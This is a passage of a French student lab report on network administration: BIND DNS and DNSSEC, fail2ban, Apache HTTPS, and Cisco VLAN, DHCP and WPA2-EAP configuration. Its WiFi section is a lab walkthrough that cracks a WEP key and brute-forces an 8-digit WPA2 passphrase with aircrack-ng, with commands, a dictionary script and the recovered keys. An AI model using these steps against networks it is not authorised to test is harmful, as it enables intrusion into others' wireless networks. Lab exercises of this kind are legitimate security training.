allow-transfer{secondaries;};
notify yes;
key-directory "/etc/bind/keys";
dnssec-policy "dnspol";
inline-signing yes;
};
acl "secondaries" {
192.168.69.3;
2001:660:4401:60a0:216:3eff:fe8f:4743;
};
zone "dardevil.tech" {
type secondary;
file "/etc/bind/backup/db.dardevil.tech";
masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};
};
Création d'un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech
$TTL 400
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (
3609 ; Version
21600 ; Refresh
3600 ; Retry
2592000 ; Expire
86400 ; Minimum TTL
);
@ IN NS ns.dardevil.tech.
@ IN NS ns.deadpool.tech.
ns IN A 193.48.57.169
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743
@ IN A 193.48.57.169
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743
www IN CNAME deadpool.tech.
Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)
search deadpool.tech
search dardevil.tech
nameserver 192.168.69.2
nameserver 192.168.69.3
Creation d'un repertoire keys avec les droits nécessaires :
mkdir /etc/bind/keys
chown bind:bind /etc/bind/keys
chmod 750 /etc/bind/keys
Si il y a des erreurs la commande suivante permet de les identifier
named-checkconf /etc/bind/named.conf
Pour tester le DNS depuis la machine de service
dig @localhost deadpool.tech
Modification sur Gandi au niveau des deux noms de domaine Création d'un blue record pour chacun des noms de domaine
ns.deadpool.tech
193.48.57.169 // adresse IPv4 de la mandataire
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de serviceAjout de external nameserver pour chacun des deux noms de domaine
ns.deadpool.tech // nom de domaine
ns.dardevil.tech // l'autre nom de domainePour tester depuis l'extérieur
dig deadpool.tech
Pour restart le service
service named restart
Génération de la clé pour le certificat sur batman
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr
Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:Nord
Locality Name (eg, city) []:Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille
Organizational Unit Name (eg, section) []:IOT
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech
Email Address []:antonin.biernacki@polytech-lille.net
On peut pour finir vérifier le bon fonctionnement de notre DNS via le site dnsviz. Avec notre nom de domaine nous obtenons le graphe suivant :
Fail2ban
Il faut commencer par installer fail2ban
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban
[sshd]
enable = true
port = ssh
filter = sshd
maxretry = 5
findtime = 300
bantime = 600Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)
Option: allowipv6
Notes.: Allows IPv6 interface:
Default: auto
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto
allowipv6 = autoEnfin pour lancer le service il faut rentrer la commande suivante :
service fail2ban restart
HTTPS
Dans le dossier /etc/apache2/sites-available
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)
<VirtualHost *:80>
ServerName deadpool.tech
ServerAlias www.deadpool.tech
Redirect permanent / https://deadpool.tech/
</VirtualHost>
<VirtualHost *:443>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
SSLEngine on
SSLCertificateFile /etc/apache2/sites-available/deadpool.tech.crt
SSLCertificateKeyFile /etc/apache2/sites-available/deadpool.tech.key
SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem
<FilesMatch "\.(?:cgi|shtml|phtml|php)$">
SSLOptions +StdEnvVars
</FilesMatch>
<Directory /usr/lib/cgi-bin>
SSLOptions +StdEnvVars
</Directory>
</VirtualHost>
On entre ensuite les commande suivantes :
a2enmod ssl
service apache restart
a2ensite default-ssl.conf
service apache2 reload
Effraction WIFI
Cassage de clef WEP d’un point d’accès WiFi
/!\ Dans notre cas la carte réseau de notre zabeth ne fonctionnait plus (ce cas est courant).
Mr Redon nous a donc fournit une clé USB Wifi pour pouvoir travailler.
De plus les cracotte s'arrête au 13 donc je dois prendre la cracotte02.
La commande suivante permet de d'identifier l'interface WIFI qui nous intéresse :
ip link
Ici l'interface qui nous intéresse est wlx40a5efd21410. Donc nous pouvons lancer la commande suivante afin d'identifier l'adresse IP de notre cracotte02.
sudo airodump-ng wlx40a5efd21410
Dans la liste nous avons en effet la cracotte02 sur le channel 4 et l'adresse ip suivante :
04:DA:D2:9C:50:51 -62 231 0 0 4 54e. WEP WEP cracotte02
Enfin nous pouvons lancer le cassage de la clé avec cette commande :
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump
Le nombre de la section DATA doit augmenter asser vite (sinon il y a un problème) : Après un certain temps on peut entrer la commande suivante pour voir si la clé à été trouvée (le numéro, ici 5, dépend du nombre de fois ou la commande précédente a été lancé) :
aircrack-ng log_airodump-05.cap
Le résultat suivant est le bon on a un KEY FOUND !!
Aircrack-ng 1.7
[00:00:00] Tested 808 keys (got 54157 IVs)
KB depth byte(vote)
0 0/ 13 FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)
1 0/ 1 01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)
2 9/ 2 D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)
3 0/ 1 08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)
4 8/ 4 9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)
KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]
Decrypted correctly: 100%
Cassage de mot de passe WPA-PSK par force brute
On s'intéresse maintenant à la kracotte02 (information trouvable par la commande de la section précédente) :
44:AD:D9:5F:87:01 -47 5 0 0 13 54e. WPA2 CCMP PSK kracotte02
Pour forcer ce mot de passe par force brut nous créons via un fichier Python un dictionnaire contenant toutes les possibilités sur 8 chiffres. Le contenu de ce fichier est le suivant :
with open("dictionnaire_8_chiffres.txt", "w") as f:
for i in range(100000000):
f.write(f"{i:08d}\n")
Lancer ce programme afin de créer le fichier dictionnaire_8_chiffres.txt.
La commande suivante est nécessaire pour que aircrack-ng utilise notre dictionnaire :
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01
Nous pouvons enfin lancer le cassage du mot de passe par force brute via cette commande :
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13
La commande ci-dessous permet de savoir si le mot de passe à été trouvé (/!\ cela peut prendre du temps selon la valeur de la clé, dans notre cas plus de 30min) :
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap
Nous avons le bon résultat un nouveau KEY FOUND !!
Aircrack-ng 1.7
[00:37:28] 66655552/100000000 keys tested (29360.85 k/s)
Time left: 18 minutes, 55 seconds 66.66%
KEY FOUND! [ 66688666 ]
Master Key : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C
B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA
Transient Key : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
EAPOL HMAC : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B
Sécurisation WiFi par WPA2-EAP
Partie VLAN
Depuis la machine batman on se ssh sur le routeur via cette commande :
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1
Entrez ensuite les commandes suivantes pour le dhcp :
C9200-E304>en
C9200-E304>configure
C9200-E304(config)#ip dhcp pool PoolAntonin
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0
C9200-E304(dhcp-config)#dns-server 193.48.57.169
C9200-E304(dhcp-config)#default-router 10.60.14.254
C9200-E304(dhcp-config)#exit
C9200-E304(config)#exit
C9200-E304>write
Enfin pour vérifier les commandes ont données ce que l'on souhaite
C9200-E304#show running-config
Création du Vlan24 avec le nom PoolAntonin :
C9200-E304>en
C9200-E304>configure
C9200-E304(config)#Vlan 24
C9200-E304(vlan-config)#name PoolAntonin
C9200-E304(vlan-config)#exit
C9200-E304(config)#exit
C9200-E304>write
Pour configurer le vlan que nous venons de créer ainsi que le VRRP j'ai fait ceci : (/!\ l'adresse IPv4 de votre vlan doit être mise dans le tableau commun sur le wiki afin d'éviter tout conflit avec une autre personne)
C9200-E304(config)#interface Vlan24
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64
C9200-E304(config-if)#vrrp 24 address-family ipv4
C9200-E304(config-if-vrrp)#priority 110
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary
C9200-E304(config-if-vrrp)#exit-vrrp
C9200-E304(config-if)#end
Partie WIFI
On peut exit enfin pour se ssh cette fois sur la partie wifi :
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4
On entre ensuite les commandes suivantes, inspirées de celle du sujet, afin de configurer notre point d'accès wifi :
conf t
aaa new-model
aaa authentication login eap_student14 group radius_student14
radius-server host 192.168.69.3 auth-port 1812 acct-port 1813 key secret_student14
aaa group server radius radius_student14
server 192.168.69.3 auth-port 1812 acct-port 1813
exit
dot11 ssid VM_SERVICES_14
vlan 24
authentication open eap eap_student14
authentication network-eap eap_student14
authentication key-management wpa
mbssid guest-mode
exit
interface Dot11Radio0
encryption vlan 24 mode ciphers aes-ccm
exit
interface Dot11Radio0.24
encapsulation dot1Q 24
bridge-group 24
exit
interface GigabitEthernet0.24
encapsulation dot1Q 24
bridge-group 24
exit
interface Dot11Radio0
ssid VM_SERVICES_14
exit
Par le suite nous avons modifié plusieurs fichiers sans succès. Cette dernière partie est donc incomplète et ne permet pas de validé cette dernière.
2001:660:4401:60a0:216:3eff:fe19:f03c